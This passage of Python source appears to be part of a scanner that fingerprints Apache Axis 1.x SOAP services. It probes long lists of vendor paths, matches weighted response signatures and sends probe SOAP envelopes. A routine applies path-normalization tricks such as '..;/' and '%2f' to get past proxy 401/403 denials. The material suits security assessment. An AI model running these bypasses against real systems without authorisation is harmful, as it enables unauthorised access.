'/sipxconfig/services/PhoneService?wsdl', '/sipxconfig/services/UserService')
INVENTORY_VENDOR_EXPLICIT_ROOTS = ('/rpc/soap', '/rpc/soap-axis', '/plugins/servlet/soap-axis1', '/ssf/ws', '/osapi', '/iam/im/TEWS6', '/idm/TEWS6', '/nidp/services', '/nesp/services', '/cc/soap', '/pc/soap', '/bc/soap', '/ab/soap', '/alfresco/api', '/dspace-lni/lni', '/dspace/lni', '/wsrp4j/wsrp4j', '/ACMEWS/services', '/infranetwebsvc/services', '/messageeventservice/services', '/vmws/services', '/openbravo/services', '/CuramWS/services', '/adxwsvc/services', '/XIAxisAdapter', '/ormrpc/services', '/defaultroot/services', '/zfca/axis', '/active-bpel/services', '/active-bpel/services/soap12', '/oer/services', '/com.ibm.ram.repository.web.ws.was/services', '/com.ibm.ram.repository.web.ws.was/RAMSecure/services', '/pf-mgmt-ws/ws', '/pf-ws/services', '/ctkip/services', '/ims-ws/services', '/dms/services', '/dms2/services2', '/ServiceEmulation/services', '/konakart/services', '/konakartadmin/services', '/josso/services', '/greenstone3/services', '/xplanner/soap', '/xnat/services', '/Rhythmyx/designwebservices', '/Rhythmyx/servlet', '/client/services', '/flexnet/services', '/mailarchiva/services', '/glite-security-voms-admin-interface', '/aws/services', '/afirmaws/services', '/firma/services', '/SIGEM_TramitacionWS/services', '/SIGEM_RegistroTelematicoWS/services', '/SIGEM_EstructuraOrganizativaWS/services', '/SIGEM_EntidadesWS/services', '/SIGEM_CertificacionWS/services', '/SIGEM_CatastroWS/services', '/SIGEM_CalendarioWS/services', '/SIGEM_AutenticacionUsuariosWS/services', '/SIGEM_AntivirusWS/services', '/SIGEM_AdministracionSesionesBackOfficeWS/services', '/SIGEM_AdministracionSesionesAdmWS/services', '/ispacservicesws/services', '/archidoc/services', '/sf-soap43/services', '/ecmengine/services', '/sbn/services', '/emf-web/services', '/knowage/sdk', '/SpagoBI/sdk', '/SpagoAxisService/services', '/TeamWeb/services', '/service_manager/invoker', '/cabio41/services', '/cabio42/services', '/cabio43/services', '/ws-legacy/services', '/skyboxview/webservice/services', '/skyboxview-softwareupdate/services', '/DL229/services', '/LFS/services', '/axis', '/eid/api/axis', '/eid/api/secure/axis', '/Workplace/P8BPMWSBroker', '/WorkplaceXT/P8BPMWSBroker', '/plm-api-axis/services', '/mule/services', '/security-ws/services', '/cr-ws/services', '/search-ws/services', '/process/services', '/notification/services', '/reporting-ws/services', '/userpref-ws/services', '/scoring/services', '/discussions/ws', '/discussions/ws/axis/services', '/teamworks/webservices', '/4TRESS', '/4TRESS/services', '/alfresco/soapapi', '/o/com.liferay.wsrp.service/api/axis', '/o/opensocial-portlet/api/axis', '/opensocial-portlet/api/axis', '/axislegacy', '/enovia/services', '/ematrix/services', '/webservice/services', '/PrimoWebServices/services', '/i2b2/services', '/c4ws/services', '/uapws/service', '/portal/services', '/selfservice/service', '/xtHisService/services', '/sys/webservice', '/axis2-AWC/services', '/seeyon/services', '/ode/processes', '/petals/services', '/reqpro/services', '/webservices', '/eventmanager/services', '/dmwebservices2/services', '/ptapi/services', '/www/manager-service/services', '/oaam_server/services', '/webservice', '/ITIMWebServices/services', '/AdaptiveAuthentication/services', '/WebServiceImpl/services', '/management/services', '/concerto/services', '/openmeetings/services', '/imcws/services', '/wssgs/services', '/tresearch/services', '/tomcat/axis/services', '/AddressBookJ2WE/services', '/Bank/services', '/GreenhouseEJB/services', '/opc/services', '/StockQuote/services', '/soap/servlet', '/SASBIWS/services', '/i2b2/rest', '/axis2/rest', '/interact/services', '/plan/services', '/opal2/services', '/Services', '/grouper-ws/services', '/grouperWs/services', '/SASWIPSoapServices/services', '/Rhythmyx/webservices', '/foundation-webapp/services', '/_common/webservices', '/imws/services', '/lmc/services', '/nbapi', '/APG-WS/wsapi', '/CommandCenterWebServices', '/apis/soap', '/OVSWS', '/les-services/services', '/ot-authws/services', '/iw/services/cm/2.0', '/vbr_soa/services', '/vbr_wsapi/services', '/axl', '/EyrAPI/EyrAPIConfiguration', '/FileStoreWebService', '/arcotuds/services', '/wsstack/services', '/qxi/services', '/ws', '/rtis', '/idm/servlet', '/albpmServices', '/fuegoServices', '/imssoap/services', '/mws-ws/services', '/EndevorService/services', '/bdd/api/axis', '/bdd/api/secure/axis', '/service/services', '/WSRRCoreSDO/services', '/webacs/services', '/ocw/services', '/ocw/ws', '/policymanager/services', '/logapp20/services', '/wcm/services', '/srm', '/srm/services', '/pap/services', '/funambol/services', '/soaplab2-axis/services', '/soaplab/services', '/SRW/search', '/srw/search', '/SRW/services', '/srw/services', '/genesisWS/services', '/genesisws/services', '/ldbnrwws/services', '/Api/services', '/comerzzia/ws/services', '/webct/axis', '/webct/axis/services', '/fedoragsearch/services', '/fedoragsearch/soap', '/webrun/services', '/parabuild/integration/webservice', '/shark', '/wct/services', '/wct-store/services', '/harvest-agent-h1/services', '/harvest-agent-h3/services')

def _rx(pattern: str) -> re.Pattern:
    return re.compile(pattern, re.IGNORECASE | re.DOTALL)


# The inventory scanner's weighted Axis 1.x signals (name, pattern, weight, and
# whether it marks a SOAP fault from Axis), matched after request URLs echoed by a
# generic error page are removed. Class names count only where Axis code ran: a
# stack frame, happyaxis's "Found" line or web.xml, never the bare package name
# that probe URLs carry and S3 keys, JSON 404s and Tomcat errors echo.
_VER = r"([0-9][0-9A-Za-z._-]*)"
AXIS1_SIGNALS: tuple[tuple[str, re.Pattern, int, bool], ...] = (
    ("wsdl_created_axis1", _rx(r"WSDL created by Apache Axis version:\s*" + _VER), 70, False),
    ("version_banner_axis1", _rx(r"Apache Axis version:\s*(?:" + _VER + r"|#axisVersion#)"), 55, False),
    ("reached_axis_servlet", _rx(r"Hi, you have reached the AXIS HTTP Servlet"), 70, False),
    ("axis_http_servlet_h1", _rx(r"<h1>\s*Axis HTTP Servlet\s*</h1>"), 45, False),
    ("transport_name", _rx(r"my AXIS transport name appears to be\s*'"), 55, False),
    ("axis_service_hello", _rx(r"Hi there, this is an AXIS service"), 70, False),
    ("axis_service_perhaps", _rx(r"Perhaps there will be a form for invoking the service here"), 45, False),
    ("service_list_html", _rx(r"<h2>\s*And now\.\.\. Some Services\s*</h2>"), 60, False),
    ("axis_error_h2", _rx(r"<h2>[^<]{0,300}AXIS error"), 45, False),
    ("no_service_at_url", _rx(r"No service is available at this URL"), 45, False),
    ("list_disabled", _rx(r"<i>\s*\?list\s*</i>[^<]{0,300}functionality disabled"), 60, False),
    ("no_deploy_list", _rx(r"Could not generate deployment list!"), 45, False),
    ("wsdl_not_generated", _rx(r"Could not generate WSDL!"), 30, False),
    ("no_soap_service_here", _rx(r"There is no SOAP service at this location"), 35, False),
    ("wsdl_misconfigured", _rx(r"There is a service at this location, but Axis did not generate the WSDL"), 60, False),
    ("invoke_get_error", _rx(r"AXIS error:\s*invoking via GET"), 60, False),
    ("something_wrong", _rx(r"Sorry, something seems to have gone wrong\.\.\. here are the details"), 40, False),
    ("jws_found", _rx(r"There is a Web Service here\s*<p>\s*<a href='[^']*\.jws\?wsdl'"), 60, False),
    ("happyaxis_page", _rx(r"Axis Happiness Page"), 60, False),
    ("soap_monitor", _rx(r"SOAPMonitorApplet\.class"), 50, False),
    ("welcome_axis", _rx(r"Welcome to Apache-Axis(?!2)"), 60, False),
    ("axis_index_title", _rx(r"<title>\s*Apache-Axis\s*</title>"), 40, False),
    ("admin_servlet", _rx(r"AdminServlet\?cmd=(?:start|stop|suspend|resume)"), 50, False),
    ("admin_servlet_status", _rx(r"<title>\s*Axis\s*</title>.{0,500}Server is (?:running|stopped)"), 60, False),
    ("wsdd_deployment", _rx(r"<deployment\b[^>]*xmlns=\"http://xml\.apache\.org/axis/wsdd/"), 70, False),
    (
        "axisservlet_class",
        _rx(
            r"\bat\s+org\.apache\.axis\.transport\.http\.AxisServlet\.\w+\(|"
            r"Found\s[^(\n]{0,60}\(\s*org\.apache\.axis\.transport\.http\.AxisServlet\s*\)|"
            r"<servlet-class>\s*org\.apache\.axis\.transport\.http\.AxisServlet\s*<"
        ),
        60,
        False,
    ),
    (
        "axis1_java_package",
        re.compile(
            r"\bat\s+org\.apache\.axis\.[\w.$]+\(|"
            r"\borg\.apache\.axis\.(?:[a-z]\w*\.)*[A-Z]\w*(?:Exception|Fault)\b"
        ),
        45,
        False,
    ),
    ("fault_hostname_detail", _rx(r"<[\w.-]+:hostname[^>]*xmlns:[\w.-]+=\"http://xml\.apache\.org/axis/\""), 65, True),
    (
        "fault_axis_detail",
        _rx(
            r"<[\w.-]+:(?:stackTrace|exceptionName|HttpErrorCode|isRuntimeException|nestedFault)"
            r"[^>]*xmlns:[\w.-]+=\"http://xml\.apache\.org/axis/\""
        ),
        60,
        True,
    ),
    ("fault_nosoapaction", _rx(r"no SOAPAction header!|Client\.NoSOAPAction"), 50, True),
    ("fault_noservice", _rx(r"Server\.NoService|could not find a target service to invoke"), 50, True),
    ("fault_userexception", _rx(r"Server\.(?:userException|generalException)"), 40, True),
    ("fault_server_disabled", _rx(r"This Axis server is not currently accepting requests"), 60, True),
    ("fault_nosuchop", _rx(r"No such operation '"), 25, True),
    ("axis_namespace", _rx(r"xmlns:[\w.-]+=\"http://xml\.apache\.org/axis/\""), 33, False),
    ("wsdl_apachesoap_ns", _rx(r"xmlns:apachesoap=\"http://xml\.apache\.org/xml-soap\""), 30, False),
    ("wsdl_emitter_prefixes", _rx(r"xmlns:impl=\"[^\"]*\"\s+xmlns:intf=\""), 35, False),
)
AXIS2_SIGNALS = tuple(
    _rx(pattern)
    for pattern in (
        r"Apache Axis2 version:",
        r"this is an AXIS2 service",
        r"Axis2 Happiness Page",
        r"Welcome to (?:the new generation of Axis|Apache Axis2)",
        r"The (?:requested )?service cannot be found for the endpoint reference \(EPR\)",
        r"The endpoint reference \(EPR\) for the Operation not found",
        r"\borg\.apache\.axis2\.",
        r"http://ws\.apache\.org/axis2",
        r"(?:href|location|action)\s*=\s*[\"'][^\"']*/axis2/services/",
    )
)
AXIS_REALM_RE = _rx(r"realm=\"?AXIS\"?")
# A response this sure of Axis 1.x identifies a parser (the inventory's LIKELY).
MIN_AXIS1_SCORE = 45
ADDRESS_RE = re.compile(
    r"<(?:[A-Za-z_][\w.-]*:)?address\b[^>]*\blocation=[\"']([^\"']+)[\"']",
    re.IGNORECASE,
)
HREF_RE = re.compile(r"\bhref=[\"']([^\"']+)[\"']", re.IGNORECASE)

DISCOVERY_REQUEST_TIMEOUT = 2.5
# Discovery requests in flight per target at once: a new one starts as each answers,
# so one slow response holds up a single slot rather than its whole batch.
DISCOVERY_BATCH_SIZE = 32
KNOWN_DISCOVERY_WINDOW = 7
MAX_SERVICE_ENDPOINTS = 3
DECIMAL_DIGITS = 240_000
MIN_TIMING_GAP_SECONDS = 0.12
MIN_TIMING_RATIO = 1.65
CONTROL_CLASS = "java.lang.String"
CANDIDATE_CLASS = "java.math.BigInteger"


def _scrub_reflections(body: str, urls) -> str:
    """Remove request URLs echoed by generic error pages before matching."""
    variants: set[str] = set()
    for url in urls:
        if not url:
            continue
        parsed = urlsplit(url)
        path_query = parsed.path + ("?" + parsed.query if parsed.query else "")
        forms = [
            url,
            path_query,
            parsed.path,
            unquote(path_query),
            quote(unquote(path_query), safe="/?=&;"),
            html.escape(path_query),
            html.escape(unquote(path_query)),
            html.escape(url),
        ]
        forms += [form.lstrip("/") for form in forms[1:5]]  # S3 <Key>, JSON "path"
        forms += [form.replace("/", "\\/") for form in forms[:5]]  # JSON-escaped slashes
        forms += [segment for segment in parsed.path.split("/") if "org.apache.axis" in segment.lower()]
        for form in forms:
            if form and len(form) >= 5 and form.strip("/") not in ("services", "axis", "axis/services"):
                variants.add(form)
    lower = body.lower()
    for variant in sorted(variants, key=len, reverse=True):
        if variant.lower() in lower:
            body = re.sub(re.escape(variant), " ", body, flags=re.IGNORECASE)
            lower = body.lower()
    return body


def _axis1_signals(response, request_url: str) -> list[tuple[str, int, bool]]:
    """Find Axis 1.x signals independently of any Axis2 evidence."""
    text = _scrub_reflections(response.text[:2_000_000], (request_url, str(response.url or "")))
    if "&" in text:
        text = text + "\n" + html.unescape(text)
    found = [(name, weight, fault) for name, pattern, weight, fault in AXIS1_SIGNALS if pattern.search(text)]
    if AXIS_REALM_RE.search(str(response.headers.get("WWW-Authenticate") or "")):
        found.append(("www_authenticate_axis", 50, False))
    return found


def _axis1_response(response, request_url: str) -> bool:
    return sum(weight for _name, weight, _fault in _axis1_signals(response, request_url)) >= MIN_AXIS1_SCORE


def _axis1_fault(response, request_url: str) -> bool:
    """A SOAP fault that Axis 1.x itself produced, as a request that reached its
    parser gets: a gateway's 404 or an echo of the request is not one."""
    content_type = str(response.headers.get("Content-Type") or "").lower()
    if "envelope" not in response.text[:2_000_000].lower() and "soap" not in content_type:
        return False
    return any(fault for _name, _weight, fault in _axis1_signals(response, request_url))


def _same_host_path(target: Target, discovered: str, request_path: str) -> str | None:
    absolute = urljoin(target.absolute_url(request_path), html.unescape(discovered))
    parsed = urlsplit(absolute)
    if parsed.scheme not in {"http", "https"} or parsed.hostname != target.origin_hostname:
        return None
    path = parsed.path or "/"
    return path + (f"?{parsed.query}" if parsed.query else "")


def _service_paths(target: Target, request_path: str, text: str) -> list[str]:
    paths: list[str] = []
    for regex in (ADDRESS_RE, HREF_RE):
        for match in regex.finditer(text[:2_000_000]):
            path = _same_host_path(target, match.group(1), request_path)
            if path is None:
                continue
            lower = path.lower()
            if regex is ADDRESS_RE or "/services/" in lower or "soap-axis" in lower:
                paths.append(path.split("?", 1)[0])
    if "wsdl" in urlsplit(request_path).query.lower():
        paths.append(request_path.split("?", 1)[0])
    elif "servlet" in request_path.lower():
        paths.append(request_path.split("?", 1)[0])
    return list(dict.fromkeys(paths))


DISCOVERY_SOAP_TEMPLATE = """<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
 <soap:Body><probe xmlns="urn:{probe}"/></soap:Body>
</soap:Envelope>"""
PAGE_PATH_RE = re.compile(
    r"\.(?:html?|jsp|jspx|css|js|png|jpe?g|gif|svg|ico|txt|xml|json)(?:$|\?)",
    re.IGNORECASE,
)
SENSITIVE_ENDPOINT_RE = re.compile(
    r"admin|deploy|update|create|delete|remove|exec|upload|install|shutdown|restart|import|provision",
    re.IGNORECASE,
)
COMMON_MAPPING_NAMES = ("webservice", "webservices", "ws", "soap", "axis")

# A reverse proxy or path filter can deny the raw route while the Java container
# behind it normalizes that route back onto AxisServlet. Only paths that returned
# 401/403 are considered, only when / and an unrelated random path are not denied,
# and only after renaming one path segment proves that the denial is path-specific.
ACL_BLOCK_STATUSES = frozenset({401, 403})
ACL_MAX_APPS = 8
ACL_REQUEST_BUDGET = 200
ACL_VARIANTS = (
    ("..;/", lambda segment: f"/x/..;/{segment}"),
    (";", lambda segment: f"/{segment};"),
    ("%2f", lambda segment: f"/%2f{segment}"),
    (".;/", lambda segment: f"/.;/{segment}"),
    ("//", lambda segment: f"//{segment}"),
    ("%xx", lambda segment: f"/%{ord(segment[0]):02X}{segment[1:]}"),
    ("%2e/", lambda segment: f"/%2e/{segment}"),
    ("%5c", lambda segment: f"/%5c{segment}"),
    ("%2e%2e;/", lambda segment: f"/x/%2e%2e;/{segment}"),
    ("%252e%252e/", lambda segment: f"/x/%252e%252e/{segment}"),
)


def _acl_rewrite(path: str, segment_index: int, rewrite) -> str | None:
    base, separator, query = path.partition("?")
    segments = base.split("/")[1:]
    if segment_index >= len(segments) or not segments[segment_index]:
        return None
    prefix = "/" + "/".join(segments[:segment_index]) if segment_index else ""
    suffix = "/" + "/".join(segments[segment_index + 1 :]) \
        if segment_index + 1 < len(segments) else ""
    return prefix + rewrite(segments[segment_index]) + suffix + separator + query


def _acl_raw_url(target: Target, path: str) -> str:
    """An absolute same-origin URL whose dot segments and repeated slashes survive."""
    origin = urlsplit(target.url)
    return f"{origin.scheme}://{origin.netloc}{path}"


def _service_endpoint(path: str, probe: str, *, mapping_root: bool = False) -> str | None:
    base = path.split("?", 1)[0].rstrip("/") or "/"
    low = base.lower()
    if PAGE_PATH_RE.search(path) or low.endswith("/soapmonitor"):
        return None
    if low.endswith("axisservlet") or low.endswith((".jws", ".cfc")):
        return base
    if mapping_root or low.rsplit("/", 1)[-1] in {
        "services", "webservice", "webservices", "ws", "soap", "axis", "service",
        "soapservices", "axisservices", "axis-services", "axisws", "soapws", "soapapi",
        "webapi", "api", "rpc", "remote", "remoting", "jaxrpc", "wsapi",
    }:
        return ("" if base == "/" else base) + "/" + probe
    return base


def _context_discovery_requests(
    contexts, probe: str, planned: set[tuple[str, str]]
) -> list[tuple[str, str, str | None]]:
    """CONTEXT_PROBES under each application directory the target serves: the one
    its root redirects into and target.contexts, wherever the webapp is mounted."""
    requests: list[tuple[str, str, str | None]] = []

    def add(method: str, path: str, endpoint: str | None) -> None:
        path = path.replace("{rand}", probe)
        if endpoint:
            endpoint = endpoint.replace("{rand}", probe)
        if (method, path) not in planned:
            planned.add((method, path))
            requests.append((method, path, endpoint))

    def mapping(root: str) -> None:
        endpoint = _service_endpoint(root, probe, mapping_root=True)
        if endpoint:
            add("GET", endpoint, endpoint)
            add("GET", root + "/Version?wsdl", root + "/Version")
            if not SENSITIVE_ENDPOINT_RE.search(endpoint):
                add("POST", endpoint, endpoint)

    for context in contexts:
        base = "/" + context.strip("/")
        for suffix in INVENTORY_CONTEXT_PROBES:
            path = base + suffix.replace("{rand}", probe)
            add("GET", path, _service_endpoint(path, probe))
        for name in THOROUGH_CUSTOM_MAPPING_NAMES:
            mapping(base + "/" + name)
        mapping(base)
        for endpoint in (base + "/services/" + probe, base + "/servlet/AxisServlet"):
            add("POST", endpoint, endpoint)
        for root in INVENTORY_VENDOR_ROOTS:
            mapping(base + root)
        for path in INVENTORY_VENDOR_PATHS:
            path = base + path
            endpoint = _service_endpoint(path, probe)
            add("GET", path, endpoint)
            if endpoint and not SENSITIVE_ENDPOINT_RE.search(endpoint):
                add("POST", endpoint, endpoint)
    return requests


def _same_domain(host: str, other: str) -> bool:
    return host.lower().split(".")[-2:] == other.lower().split(".")[-2:]


async def _root_contexts(target: Target) -> list[str]:
    """Find application directories in landing-page redirects and app hints."""
    try:
        response = await target.get("/", timeout=min(target.timeout, DISCOVERY_REQUEST_TIMEOUT))
    except Exception:
        target.axis_acl_landing_status = None
        return []
    target.axis_acl_landing_status = response.status_code
    hints = [str(response.headers.get("Location") or "")]
    refresh = str(response.headers.get("Refresh") or "")
    match = re.search(r"url\s*=\s*['\"]?([^'\"\s]+)", refresh, re.IGNORECASE)
    if match:
        hints.append(match.group(1))
    cookies = str(response.headers.get("Set-Cookie") or "")
    hints.extend(re.findall(r";\s*path\s*=\s*(/[^;,\s]*)", cookies, re.IGNORECASE))
    body = response.text[:300_000]
    hints.extend(re.findall(r"<base\b[^>]*\bhref\s*=\s*['\"]([^'\"]+)", body, re.IGNORECASE))
    hints.extend(re.findall(r"(?:location(?:\.href)?\s*=|url\s*=)\s*['\"]?([^'\"\s>]+)", body, re.IGNORECASE))
    contexts = []
    for hint in hints:
        if not hint:
            continue
        # A hint to another host of the same domain, such as the internal name a
        # front end redirects to, still names the application's directory, which
        # this host often serves too. Other domains (sign-in providers) do not.
        absolute = urlsplit(urljoin(target.absolute_url("/"), html.unescape(hint)))
        if absolute.scheme not in {"http", "https"} or not _same_domain(
            absolute.hostname or "", target.origin_hostname or ""
        ):
            continue
        parts = absolute.path.strip("/").split("/")
        if parts and "." in parts[-1]:
            parts.pop()
        if parts and all(re.fullmatch(r"[A-Za-z0-9_~.-]+", part) for part in parts):
            contexts.append("/" + "/".join(parts))
    return list(dict.fromkeys(contexts))[:8]


def _thorough_discovery_requests(probe: str) -> list[tuple[str, str, str | None]]:
    """The discovery plan at the root: the literal high-yield paths, the stock
    contexts and their custom servlet mappings, the common application contexts,
    alternative mappings and vendor products' services mappings. An application's own path comes from its root
    redirect and target.contexts instead (_context_discovery_requests)."""
    requests: list[tuple[str, str, str | None]] = []
    seen: set[tuple[str, str]] = set()

    def add(method: str, path: str, endpoint: str | None = None) -> None:
        selected = (path or "/").replace("{rand}", probe)
        candidate = endpoint.replace("{rand}", probe) if endpoint else None
        key = (method, selected)
        if key not in seen:
            seen.add(key)
            requests.append((method, selected, candidate))

    def add_mapping(root: str) -> None:
        endpoint = _service_endpoint(root.rstrip("/") or "/", probe, mapping_root=True)
        if endpoint is not None:
            add("GET", endpoint, endpoint)
            if not SENSITIVE_ENDPOINT_RE.search(endpoint):
                add("POST", endpoint, endpoint)

    # Proven deployments and stock locations first, so positives usually stop early.
    for batch in DISCOVERY_PATH_BATCHES:
        for path in batch:
            add("GET", path, _service_endpoint(path, probe))
    for context in THOROUGH_FULL_CONTEXTS:
        for suffix in STOCK_CONTEXT_PROBES:
            add("GET", context + suffix, _probe_endpoint(context, suffix, probe))
        for endpoint in (context + "/services/" + probe, context + "/servlet/AxisServlet"):
            add("POST", endpoint, endpoint)
    for context in THOROUGH_COMMON_CONTEXTS:
        for suffix in CONTEXT_PROBES:
            add("GET", context + suffix, _probe_endpoint(context, suffix, probe))
        for name in COMMON_MAPPING_NAMES:
            add_mapping(context + "/" + name)
    for context in THOROUGH_FULL_CONTEXTS:
        for name in THOROUGH_CUSTOM_MAPPING_NAMES:
            add_mapping(context + "/" + name)
    for root in THOROUGH_ALT_MAPPINGS:
        add_mapping(root)
    for root in (*THOROUGH_VENDOR_ROOTS, *INVENTORY_VENDOR_EXPLICIT_ROOTS):
        add_mapping(root)
    for path in INVENTORY_VENDOR_PATHS:
        endpoint = _service_endpoint(path, probe)
        add("GET", path, endpoint)
        if endpoint and not SENSITIVE_ENDPOINT_RE.search(endpoint):
            add("POST", endpoint, endpoint)
    # Include every generated baseline GET, including the common-context probes,
    # bare alternate mappings, and Version WSDLs at vendor/custom mapping roots.
    for path, root in INVENTORY_BASELINE_GETS:
        add("GET", path, _service_endpoint(path, probe))
        if root:
            endpoint = _service_endpoint(root, probe, mapping_root=True)
            if endpoint and not SENSITIVE_ENDPOINT_RE.search(endpoint):
                add("POST", endpoint, endpoint)
    return requests


def _probe_endpoint(context: str, suffix: str, probe: str) -> str | None:
    """The service URL a context probe identifies when Axis answers it."""
    if suffix.startswith("/services/{rand}") or suffix == "/services":
        return context + "/services/" + probe
    if suffix.startswith("/services/Version"):
        return context + "/services/Version"
    if "AxisServlet" in suffix:
        return context + suffix
    return None


async def _discover_one(
    get,
    post,
    target_url,
    request: tuple[str, str, str | None],
    probe: str,
    timeout: float,
    denied: list[tuple[str, int, str | None]],
) -> tuple[str, str, str | None] | None:
    method, request_path, fallback_endpoint = request
    try:
        if method == "POST":
            response = await post(
                request_path,
                headers={"Content-Type": "text/xml; charset=utf-8"},
                content=DISCOVERY_SOAP_TEMPLATE.format(probe=probe).encode(),
                timeout=timeout,
            )
        else:
            response = await get(
                request_path,
                headers={"Accept": "application/xml,text/xml,*/*"},
                timeout=timeout,
            )
    except Exception:
        return None
    if method == "GET" and response.status_code in ACL_BLOCK_STATUSES:
        denied.append((request_path, response.status_code, fallback_endpoint))
    if method == "POST":
        if not _axis1_response(response, target_url(request_path)) or not _axis1_fault(response, target_url(request_path)):
            return None
    elif not _axis1_response(response, target_url(request_path)):
        return None
    return (request_path, response.text, fallback_endpoint)


async def _discover_known_one(
    target: Target,
    request_path: str,
    probe: str,
    denied: list[tuple[str, int, str | None]],
) -> tuple[str, str, str | None] | None:
    """Literal high-yield paths kept separate so the bank can display their order."""
    try:
        response = await target.get(
            request_path,
            headers={"Accept": "application/xml,text/xml,*/*"},
            timeout=min(target.timeout, DISCOVERY_REQUEST_TIMEOUT),
        )
    except Exception:
        return None
    if response.status_code in ACL_BLOCK_STATUSES:
        denied.append((request_path, response.status_code, _service_endpoint(request_path, probe)))
    return (
        (request_path, response.text, _service_endpoint(request_path, probe))
        if _axis1_response(response, target.absolute_url(request_path))
        else None
    )


async def _acl_random_status(target: Target, probe: str) -> int | None:
    try:
        response = await target.get(
            f"/{probe}b",
            timeout=min(target.timeout, DISCOVERY_REQUEST_TIMEOUT),
        )
    except Exception:
        return None
    return response.status_code


def _acl_app_key(path: str, endpoint: str | None, probe: str) -> str:
    base = (endpoint or path).split("?", 1)[0].rstrip("/")
    lower = base.lower()
    if lower.endswith("axisservlet"):
        return base
    if base.endswith(probe) or "/services/" in lower:
        return base.rsplit("/", 1)[0]
    return base.rsplit("/", 1)[0] or base


def _acl_variant_order(path: str):
    lower = path.lower()
    first = ("%2f", "%5c") if any(
        marker in lower
        for marker in ("/api/axis", "/api/secure/axis", "/tunnel-web/axis", "/tunnel-web/secure/axis")
    ) else ()
    return [variant for name in first for variant in ACL_VARIANTS if variant[0] == name] + [
        variant for variant in ACL_VARIANTS if variant[0] not in first
    ]


async def _acl_bypass(
    target: Target,
    denied: list[tuple[str, int, str | None]],
    probe: str,
    random_status: int | None,
) -> tuple[list[str], int]:
    """Try the inventory scanner's bounded path-normalization bypasses.

    Renaming a segment must first lift the denial. The ten normalization forms
    are then tried only on that segment, with at most 200 requests over eight
    denied applications. A hit must still contain an Axis response or SOAP fault.
    """
    landing_status = getattr(target, "axis_acl_landing_status", None)
    if landing_status in ACL_BLOCK_STATUSES or random_status in ACL_BLOCK_STATUSES:
        return [], 0

    unique = list(dict.fromkeys(denied))
    apps: dict[str, list[tuple[str, int, str | None]]] = {}
    for item in unique:
        path, _status, endpoint = item
        if path.split("?", 1)[0].strip("/"):
            apps.setdefault(_acl_app_key(path, endpoint, probe), []).append(item)

    def rank(item):
        app, probes = item
        product = any(path in INVENTORY_VENDOR_PATHS for path, _status, _endpoint in probes)
        stock = app.lower().endswith("axisservlet") or "/services" in app.lower()
        return (0 if product else 1 if stock else 2, -len(app))

    spent = 0

    async def get(path: str):
        nonlocal spent
        if spent >= ACL_REQUEST_BUDGET:
            return None
        spent += 1
        try:
            return await target.get(
                _acl_raw_url(target, path),
                headers={"Accept": "application/xml,text/xml,*/*"},
                timeout=min(target.timeout, DISCOVERY_REQUEST_TIMEOUT),
                quote=False,
            )
        except Exception:
            return None

    async def post(path: str):
        nonlocal spent
        if spent >= ACL_REQUEST_BUDGET or SENSITIVE_ENDPOINT_RE.search(path):
            return None
        spent += 1
        try:
            return await target.post(
                _acl_raw_url(target, path),
                headers={"Content-Type": "text/xml; charset=utf-8"},
                content=DISCOVERY_SOAP_TEMPLATE.format(probe=probe).encode(),
                timeout=min(target.timeout, DISCOVERY_REQUEST_TIMEOUT),
                quote=False,
            )
        except Exception:
            return None

    for _app, probes in sorted(apps.items(), key=rank)[:ACL_MAX_APPS]:
        probes.sort(
            key=lambda item: (
                not item[0].split("?", 1)[0].endswith(probe),
                "?" not in item[0],
                len(item[0]),
            )
        )
        path, blocked_status, endpoint = probes[0]
        anchor = None
        segments = path.split("?", 1)[0].split("/")[1:]
        for index in range(min(len(segments), 4)):
            renamed = _acl_rewrite(path, index, lambda segment: "/x" + segment)
            if renamed is None:
                continue
            response = await get(renamed)
            if response is not None and response.status_code not in ACL_BLOCK_STATUSES:
                anchor = index
                break
        if anchor is None:
            continue

        canonical_endpoint = endpoint or _service_endpoint(path, probe)
        passed = 0
        for variant_name, rewrite in _acl_variant_order(path):
            rewritten_get = _acl_rewrite(path, anchor, rewrite)
            rewritten_endpoint = (
                _acl_rewrite(canonical_endpoint, anchor, rewrite) if canonical_endpoint else None
            )
            if rewritten_get:
                response = await get(rewritten_get)
                if response is not None:
                    if _axis1_response(response, _acl_raw_url(target, rewritten_get)):
                        candidates = [
                            rewritten_endpoint.split("?", 1)[0]
                            if rewritten_endpoint else rewritten_get.split("?", 1)[0]
                        ]
                        print(
                            f"{target.url}: access-control bypass for HTTP {blocked_status} "
                            f"{path} via GET {rewritten_get} ({variant_name})",
                            file=sys.stderr,
                        )
                        return list(dict.fromkeys(candidates)), spent
                    if response.status_code not in (*ACL_BLOCK_STATUSES, 400):
                        passed += 1
            if rewritten_endpoint:
                response = await post(rewritten_endpoint)
                if response is not None:
                    if _axis1_response(response, _acl_raw_url(target, rewritten_endpoint)) \
                            and _axis1_fault(response, _acl_raw_url(target, rewritten_endpoint)):
                        print(
                            f"{target.url}: access-control bypass for HTTP {blocked_status} "
                            f"{path} via POST {rewritten_endpoint} ({variant_name})",
                            file=sys.stderr,
                        )
                        return [rewritten_endpoint.split("?", 1)[0]], spent
                    if response.status_code not in (*ACL_BLOCK_STATUSES, 400):
                        passed += 1
            if passed >= 2 or spent >= ACL_REQUEST_BUDGET:
                break
    return [], spent


async def fingerprint(target: Target) -> bool:
    """Run the thorough Axis inventory plan and retain one concrete service URL."""
    probe = secrets.token_hex(8)
    endpoints: list[str] = []
    denied: list[tuple[str, int, str | None]] = []
    target.axis_acl_service_paths = set()
    sent = 0
    random_status = None
    acl_requests = 0

    def observe(results) -> None:
        for result in results:
            if result is None:
                continue
            request_path, text, fallback_endpoint = result
            endpoints.extend(_service_paths(target, request_path, text))
            if fallback_endpoint:
                endpoints.append(fallback_endpoint)

    known_calls = []
    for known_path in KNOWN_DISCOVERY_PATHS:
        known_calls.append(
            lambda known_path=known_path: _discover_known_one(target, known_path, probe, denied)
        )
    def found(result) -> bool:
        observe([result])
        return bool(endpoints)

    background = asyncio.gather(_root_contexts(target), _acl_random_status(target, probe))
    try:
        sent = 2 + len(await sweep(known_calls, window=KNOWN_DISCOVERY_WINDOW, until=found))
    except BaseException:
        background.cancel()
        await asyncio.gather(background, return_exceptions=True)
        raise
    root_contexts, random_status = await background
    full_plan = _thorough_discovery_requests(probe)
    known = {("GET", path) for path in KNOWN_DISCOVERY_PATHS}
    contexts = dict.fromkeys(
        "/" + "/".join(parts[:i])
        for context in (*root_contexts, *target.contexts)
        for parts in [context.strip("/").split("/")]
